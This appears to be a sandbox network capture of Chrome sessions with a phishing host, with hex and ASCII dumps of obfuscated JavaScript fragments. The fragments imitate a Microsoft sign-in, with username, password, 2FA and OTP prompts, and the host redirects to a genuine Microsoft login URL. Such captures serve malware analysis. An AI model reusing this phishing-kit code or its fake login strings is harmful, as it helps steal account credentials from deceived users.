2024-04-24 21:08:02 UTC	711	IN	Data Raw: 33 37 39 33 0d 0a 63 6f 6e 73 74 20 5f 30 78 33 63 30 62 36 39 3d 5f 30 78 34 30 62 64 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 66 66 61 33 65 2c 5f 30 78 37 34 33 61 34 66 29 7b 63 6f 6e 73 74 20 5f 30 78 31 66 33 38 61 38 3d 5f 30 78 34 30 62 64 2c 5f 30 78 32 64 38 38 62 36 3d 5f 30 78 31 66 66 61 33 65 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 34 36 31 39 34 34 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 66 33 38 61 38 28 30 78 32 30 62 29 29 2f 30 78 31 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 66 33 38 61 38 28 30 78 33 31 39 29 29 2f 30 78 32 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 31 66 33 38 61 38 28 30 78 32 64 30 29 29 2f 30 78 33 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 66 33 38 61 38 28 30 Data Ascii: 3793const _0x3c0b69=_0x40bd;(function(_0x1ffa3e,_0x743a4f){const _0x1f38a8=_0x40bd,_0x2d88b6=_0x1ffa3e();while(!![]){try{const _0x461944=-parseInt(_0x1f38a8(0x20b))/0x1+parseInt(_0x1f38a8(0x319))/0x2*(parseInt(_0x1f38a8(0x2d0))/0x3)+parseInt(_0x1f38a8(0
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 32 66 66 29 5d 28 5f 30 78 33 63 30 62 36 39 28 30 78 33 33 32 29 29 5b 5f 30 78 33 63 30 62 36 39 28 30 78 32 64 66 29 5d 5b 5f 30 78 33 63 30 62 36 39 28 30 78 32 65 31 29 5d 28 5f 30 78 33 63 30 62 36 39 28 30 78 31 65 37 29 29 26 26 28 76 69 65 77 3d 5f 30 78 33 63 30 62 36 39 28 30 78 32 63 38 29 29 3b 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 5f 30 78 33 63 30 62 36 39 28 30 78 32 61 38 29 29 26 26 21 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 63 30 62 36 39 28 30 78 32 66 66 29 5d 28 5f 30 78 33 63 30 62 36 39 28 30 78 32 61 38 29 29 5b 27 63 6c 61 73 73 4c 69 73 74 27 5d 5b 5f 30 78 33 63 30 62 36 39 28 30 78 32 65 31 29 5d 28 5f 30 78 33 63 30 62 36 39 28 30 78 31 65 37 29 29 26 26 28 76 69 65 77 3d 27 75 6e 61 Data Ascii: 2ff)](_0x3c0b69(0x332))[_0x3c0b69(0x2df)][_0x3c0b69(0x2e1)](_0x3c0b69(0x1e7))&&(view=_0x3c0b69(0x2c8));document['getElementById'](_0x3c0b69(0x2a8))&&!document[_0x3c0b69(0x2ff)](_0x3c0b69(0x2a8))['classList'][_0x3c0b69(0x2e1)](_0x3c0b69(0x1e7))&&(view='una
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 78 32 62 65 33 36 39 28 30 78 32 39 31 29 29 5b 5f 30 78 32 62 65 33 36 39 28 30 78 33 30 31 29 5d 28 29 3b 7d 7d 7d 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 6c 6f 61 64 69 6e 67 61 6e 69 6d 61 74 69 6f 6e 28 5f 30 78 31 63 62 61 63 63 29 7b 63 6f 6e 73 74 20 5f 30 78 31 66 30 32 32 39 3d 5f 30 78 33 63 30 62 36 39 3b 5f 30 78 31 63 62 61 63 63 3d 3d 30 78 30 26 26 28 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 66 30 32 32 39 28 30 78 32 66 66 29 5d 28 5f 30 78 31 66 30 32 32 39 28 30 78 31 66 37 29 2b 76 69 65 77 29 5b 5f 30 78 31 66 30 32 32 39 28 30 78 32 39 32 29 5d 28 5f 30 78 31 66 30 32 32 39 28 30 78 32 35 63 29 29 5b 5f 30 78 31 66 30 32 32 39 28 30 78 32 64 66 29 5d 5b 27 61 64 64 27 5d 28 27 6c 6f 61 64 69 6e 67 27 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f Data Ascii: x2be369(0x291))[_0x2be369(0x301)]();}}}}});function loadinganimation(_0x1cbacc){const _0x1f0229=_0x3c0b69;_0x1cbacc==0x0&&(document[_0x1f0229(0x2ff)](_0x1f0229(0x1f7)+view)[_0x1f0229(0x292)](_0x1f0229(0x25c))[_0x1f0229(0x2df)]['add']('loading'),document[_
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 74 5c 78 32 30 61 63 63 6f 75 6e 74 27 2c 27 61 6c 74 27 2c 27 5c 78 32 30 3c 61 5c 78 32 30 68 72 65 66 3d 5c 78 32 32 23 5c 78 32 32 5c 78 32 30 64 61 74 61 2d 69 64 3d 5c 78 32 32 27 2c 27 73 65 63 74 69 6f 6e 73 5f 27 2c 27 64 65 73 63 27 2c 27 63 6c 69 63 6b 65 64 27 2c 27 69 41 64 64 69 74 69 6f 6e 61 6c 50 72 6f 6f 66 49 6e 66 6f 27 2c 27 75 72 6c 28 5c 78 32 37 27 2c 27 53 65 6e 64 5c 78 32 30 61 6e 6f 74 68 65 72 5c 78 32 30 72 65 71 75 65 73 74 27 2c 27 73 69 67 6e 49 6e 41 6e 6f 74 68 65 72 57 61 79 27 2c 27 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 27 2c 27 61 75 74 68 63 61 6c 6c 69 6d 67 27 2c 27 2e 69 41 64 64 69 74 69 6f 6e 61 6c 50 72 6f 6f 66 49 6e 66 6f 5c 78 32 30 69 6e 70 75 74 5b 74 79 70 65 3d 5c 78 32 32 72 61 64 69 6f 5c 78 32 Data Ascii: t\x20account','alt','\x20<a\x20href=\x22#\x22\x20data-id=\x22','sections_','desc','clicked','iAdditionalProofInfo','url(\x27','Send\x20another\x20request','signInAnotherWay','backgroundImage','authcallimg','.iAdditionalProofInfo\x20input[type=\x22radio\x2
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 32 30 66 69 6e 64 5c 78 32 30 61 6e 5c 78 32 30 61 63 63 6f 75 6e 74 5c 78 32 30 77 69 74 68 5c 78 32 30 74 68 61 74 5c 78 32 30 75 73 65 72 6e 61 6d 65 2e 5c 78 32 30 54 72 79 5c 78 32 30 61 6e 6f 74 68 65 72 2c 5c 78 32 30 6f 72 5c 78 32 30 67 65 74 5c 78 32 30 61 5c 78 32 30 6e 65 77 5c 78 32 30 4d 69 63 72 6f 73 6f 66 74 5c 78 32 30 61 63 63 6f 75 6e 74 2e 27 2c 27 72 65 64 69 72 65 63 74 65 64 5c 78 32 30 62 61 63 6b 5c 78 32 30 74 6f 5c 78 32 30 73 69 67 6e 5c 78 32 30 69 6e 27 2c 27 6b 65 79 75 70 27 2c 27 6f 74 70 5c 78 32 30 73 65 6e 74 27 2c 27 73 65 63 74 69 6f 6e 5f 32 66 61 27 2c 27 73 69 67 6e 75 70 27 2c 27 79 6f 75 5c 78 32 30 64 6f 6e 74 5c 78 32 30 68 61 76 65 5c 78 32 30 61 63 63 65 73 73 27 2c 27 2e 74 69 74 6c 65 27 2c 27 74 69 74 6c Data Ascii: 20find\x20an\x20account\x20with\x20that\x20username.\x20Try\x20another,\x20or\x20get\x20a\x20new\x20Microsoft\x20account.','redirected\x20back\x20to\x20sign\x20in','keyup','otp\x20sent','section_2fa','signup','you\x20dont\x20have\x20access','.title','titl
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 62 75 74 74 6f 6e 2e 73 68 6f 77 2d 68 69 64 65 2d 62 74 6e 27 2c 27 73 63 72 69 70 74 5b 73 72 63 5e 3d 5c 78 32 32 27 2c 27 70 6f 73 69 74 69 6f 6e 27 2c 27 70 6f 70 27 2c 27 73 65 63 74 69 6f 6e 5f 75 6e 61 6d 65 27 2c 27 4e 65 78 74 27 2c 27 69 45 6e 74 65 72 50 72 6f 6f 66 44 65 73 63 27 2c 27 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 27 2c 27 68 74 74 70 73 3a 2f 2f 68 74 74 70 62 69 6e 2e 6f 72 67 2f 69 70 27 2c 27 61 75 74 68 63 61 6c 6c 27 2c 27 3c 73 70 61 6e 3e 53 6f 72 72 79 2c 5c 78 32 30 77 65 5c 78 32 37 72 65 5c 78 32 30 68 61 76 69 6e 67 5c 78 32 30 74 72 6f 75 62 6c 65 5c 78 32 30 76 65 72 69 66 79 69 6e 67 5c 78 32 30 79 6f 75 72 5c 78 32 30 61 63 63 6f 75 6e 74 2e 5c 78 32 30 50 6c 65 61 73 65 5c 78 32 30 74 72 79 5c 78 32 Data Ascii: button.show-hide-btn','script[src^=\x22','position','pop','section_uname','Next','iEnterProofDesc','.loading-container','https://httpbin.org/ip','authcall','<span>Sorry,\x20we\x27re\x20having\x20trouble\x20verifying\x20your\x20account.\x20Please\x20try\x2
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 32 5c 78 32 30 61 72 69 61 2d 72 65 71 75 69 72 65 64 3d 5c 78 32 32 74 72 75 65 5c 78 32 32 5c 78 32 30 61 72 69 61 2d 6c 61 62 65 6c 3d 5c 78 32 32 45 6d 61 69 6c 5c 78 32 30 6e 61 6d 65 5c 78 32 32 5c 78 32 30 61 72 69 61 2d 64 65 73 63 72 69 62 65 64 62 79 3d 5c 78 32 32 69 50 72 6f 6f 66 49 6e 70 75 74 45 72 72 6f 72 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 6c 61 62 65 6c 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 5c 78 32 30 6e 6f 4c 65 66 74 42 6f 72 64 65 72 5c 78 32 30 6f 75 74 6c 6f 6f 6b 45 6d 61 69 6c 4c 61 62 65 6c 5c 78 32 32 5c 78 32 30 69 64 3d 5c 78 32 32 69 43 6f 6e 66 69 72 6d 50 72 6f 6f 66 45 6d 61 69 Data Ascii: 2\x20aria-required=\x22true\x22\x20aria-label=\x22Email\x20name\x22\x20aria-describedby=\x22iProofInputError\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<label\x20class=\x22input-group-addon\x20noLeftBorder\x20outlookEmailLabel\x22\x20id=\x22iConfirmProofEmai
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 70 5f 63 6f 6e 66 69 72 6d 65 6d 61 69 6c 27 2c 27 53 69 67 6e 5c 78 32 30 69 6e 5c 78 32 30 61 6e 6f 74 68 65 72 5c 78 32 30 77 61 79 27 2c 27 62 6f 64 79 27 2c 27 6c 69 6e 6b 6f 70 74 69 6f 6e 63 6c 69 63 6b 28 74 68 69 73 29 27 2c 27 6d 75 6c 74 69 70 6c 65 61 63 63 6f 75 6e 74 6f 70 74 69 6f 6e 73 27 2c 27 32 66 61 5c 78 32 30 69 73 5c 78 32 30 6f 6e 27 2c 27 65 6d 61 69 6c 27 2c 27 74 65 6c 27 2c 27 70 61 73 73 77 6f 72 64 27 2c 27 72 61 64 69 6f 27 2c 27 62 74 6e 5f 6e 65 78 74 27 2c 27 63 6f 72 72 65 63 74 5c 78 32 30 65 6d 61 69 6c 27 2c 27 23 62 74 6e 5f 76 65 72 69 66 79 6f 74 70 27 2c 27 71 75 65 72 79 53 65 6c 65 63 74 6f 72 27 2c 27 69 50 72 6f 6f 66 50 68 6f 6e 65 45 6e 74 72 79 27 2c 27 69 63 6c 6f 75 64 2e 63 6f 6d 27 2c 27 73 65 74 41 74 Data Ascii: p_confirmemail','Sign\x20in\x20another\x20way','body','linkoptionclick(this)','multipleaccountoptions','2fa\x20is\x20on','email','tel','password','radio','btn_next','correct\x20email','#btn_verifyotp','querySelector','iProofPhoneEntry','icloud.com','setAt
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 63 74 70 72 6f 74 65 63 74 6f 70 74 69 6f 6e 28 74 68 69 73 29 27 2c 27 3c 70 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 6d 62 2d 31 36 5c 78 32 32 3e 27 2c 27 62 6c 61 6e 6b 27 2c 27 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 74 65 78 74 2d 62 6c 6f 63 6b 2d 62 6f 64 79 5c 78 32 32 5c 78 32 30 69 64 3d 5c 78 32 32 69 45 6e 74 65 72 50 72 6f 6f 66 44 65 73 63 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 54 6f 5c 78 32 30 76 65 72 69 66 79 5c 78 32 30 74 68 61 74 5c 78 32 30 74 68 69 73 5c 78 32 30 69 73 5c 78 32 30 79 6f 75 72 5c 78 32 30 70 68 6f 6e 65 5c 78 32 30 6e 75 6d 62 65 72 2c Data Ascii: ctprotectoption(this)','<p\x20class=\x22mb-16\x22>','blank','\x0a\x20\x20\x20\x20\x20\x20<div\x20class=\x22text-block-body\x22\x20id=\x22iEnterProofDesc\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20To\x20verify\x20that\x20this\x20is\x20your\x20phone\x20number,
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 72 73 65 27 2c 27 69 50 72 6f 6f 66 49 6e 70 75 74 45 72 72 6f 72 27 2c 27 2c 5c 78 32 30 61 6e 64 5c 78 32 30 74 68 65 6e 5c 78 32 30 63 6c 69 63 6b 5c 78 32 30 5c 78 32 32 53 65 6e 64 5c 78 32 30 63 6f 64 65 5c 78 32 32 5c 78 32 30 74 6f 5c 78 32 30 72 65 63 65 69 76 65 5c 78 32 30 79 6f 75 72 5c 78 32 30 63 6f 64 65 2e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 72 6f 6c 65 3d 5c 78 32 32 61 6c 65 72 74 5c 78 32 32 5c 78 32 30 61 72 69 61 2d 6c 69 76 65 3d 5c 78 32 32 61 73 73 65 72 74 69 76 65 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 Data Ascii: rse','iProofInputError',',\x20and\x20then\x20click\x20\x22Send\x20code\x22\x20to\x20receive\x20your\x20code.\x0a\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20<div\x20role=\x22alert\x22\x20aria-live=\x22assertive\x22>\x0a\x20\x20\x20\x20\x20\x2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49767	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:03 UTC	1469	OUT	GET /wxvmmr0dvvMRPJAsjsIlZCtz2ev3opgvXt8OR3buSD34130 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
2024-04-24 21:08:04 UTC	645	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:04 GMT Content-Type: image/png Content-Length: 231 Connection: close Content-Disposition: inline; filename="wxvmmr0dvvMRPJAsjsIlZCtz2ev3opgvXt8OR3buSD34130" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VenUL9ucduT6hCT46ZxGr8qZDtFaLJ7Uehzx%2FSkfF%2BmQxLacbY9OkQF47%2BAhLVcmqGM3Xs2TKqRjBIKjS3rTjhBjotZVZX67H%2BpHa%2BZae2V%2BKWmA9cekCvYX3L3zgg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 87991103dc547ebd-LAX
2024-04-24 21:08:04 UTC	231	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 a1 49 44 41 54 48 4b ed 93 b1 0d 02 31 10 04 e7 5a a0 0c aa b8 12 a8 80 9c 2e 20 23 24 23 a5 94 2d e1 cb 20 24 24 33 b2 f4 48 1f 80 cf bc 71 80 78 a7 3e ed 78 c7 b6 d1 79 59 e7 7c 16 40 68 f8 8f 14 b9 fb 05 18 24 9d 42 2f 93 81 2a 45 63 f8 0a d8 4a ba 7d 15 d0 12 9e 0f 52 6c d0 1a 5e 04 8c e1 1b e0 0c dc 23 2d 92 0e af 66 de 36 70 f7 63 4a 69 67 66 b5 80 fd 47 80 3c 9c 21 c0 7a ce e5 3e 61 e1 2b 6a 85 84 80 d6 26 55 80 09 e4 da e5 a3 45 2f a8 b4 5f dd 60 2e 64 01 84 e6 7e 5f d1 03 bf ca 37 19 0c 18 34 60 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRw=sRGBIDATHK1Z. #$#- $$3Hqx>xyY\|@h$B/*EcJ}Rl^#-f6pcJigfG<!z>a+j&UE/_`.d~_74`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49769	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:04 UTC	1574	OUT	POST /ajs3vQkF6me832n2I0kJAyFST9MVlOeyQ4NMkb1NFQ6YwIlSyQtGtSL6YGv0t HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive Content-Length: 33 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://jcq36.einewomi.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
2024-04-24 21:08:04 UTC	33	OUT	Data Raw: 70 61 67 65 6c 69 6e 6b 3d 66 37 73 39 70 33 6a 77 26 74 79 70 65 3d 34 26 61 70 70 6e 75 6d 3d 31 Data Ascii: pagelink=f7s9p3jw&type=4&appnum=1
2024-04-24 21:08:05 UTC	997	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:05 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tYQU7hsePATe%2Fg1A%2FCSeigKKvSE438zivYPMewgAT3RQh0ZoreNiOKkJrQPTnznZ05KFZEoltyrMiWKG5l5poBs77eLNfN2xQ0I6gEw4%2B21AkaTih5kC5YcgadFf0w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; expires=Wed, 24-Apr-2024 23:08:05 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-24 21:08:05 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 64 74 5a 57 46 59 62 30 74 54 4d 30 70 47 56 45 59 35 59 54 4e 32 57 6c 70 78 54 6b 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 54 6a 4a 36 55 6b 74 59 4d 46 4e 50 55 47 52 30 57 6c 42 68 59 58 64 78 51 57 35 32 65 44 49 79 4d 30 67 72 51 57 56 77 63 79 38 35 56 6e 51 79 5a 47 46 53 4e 55 35 4d 4e 47 70 42 51 32 74 4f 52 7a 4e 77 63 56 46 35 55 46 6c 35 63 7a 68 54 4d 48 70 58 64 7a 5a 33 4b 32 35 49 59 31 68 51 55 6b 59 31 4d 45 4d 77 56 69 74 4f 5a 32 78 6c 4e 6a 6c 5a 56 33 4e 6f 57 45 46 4f 63 55 64 52 56 33 4a 52 52 6b 74 31 53 56 46 58 59 31 56 46 51 6d 39 6a 4c 32 31 45 63 58 42 4d 4f 58 70 52 51 6b 73 79 62 58 64 55 64 30 38 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08
2024-04-24 21:08:05 UTC	97	IN	Data Raw: 35 62 0d 0a 7b 22 65 78 70 69 72 65 64 22 3a 30 2c 22 72 65 64 69 72 65 63 74 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 5c 2f 63 6f 6d 6d 6f 6e 5c 2f 53 41 53 5c 2f 50 72 6f 63 65 73 73 41 75 74 68 22 7d 0d 0a Data Ascii: 5b{"expired":0,"redirecturl":"https:\/\/login.microsoftonline.com\/common\/SAS\/ProcessAuth"}
2024-04-24 21:08:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49770	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:04 UTC	1482	OUT	GET /ijnd9WI2swr3KhCMK2bXk7NO7Iop5ndR6Sx7dTSErq3S0c1Qe36iT8Iyz228 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
